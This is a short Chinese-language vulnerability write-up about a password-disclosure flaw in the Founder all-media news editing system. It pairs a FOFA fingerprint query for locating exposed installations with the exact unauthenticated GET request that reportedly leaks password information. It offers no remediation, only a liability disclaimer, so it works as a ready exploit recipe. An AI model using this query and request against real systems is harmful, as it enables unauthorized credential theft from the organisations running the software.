0x01 产品简介
方正全媒体新闻采编系统是一个面向媒体深度融合的技术平台,它以大数据和AI技术为支撑,集成了指挥中心、采集中心、编辑中心、发布中心、绩效考核中心、资料中心等多个功能,全面承载“策采编审发存传评”的融媒体业务流程。
0x02 漏洞概述
方正全媒体新闻采编系统存在密码泄露漏洞,未授权的攻击者可以通过该漏洞获取密码信息。
0x03 测绘语句
fofa: app="FOUNDER-全媒体采编系统"
0x04 漏洞复现
GET /newsedit/assess/syn.do?type=org HTTP/1.1
0x05 影响范围
方正全媒体新闻采编系统
0x06 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。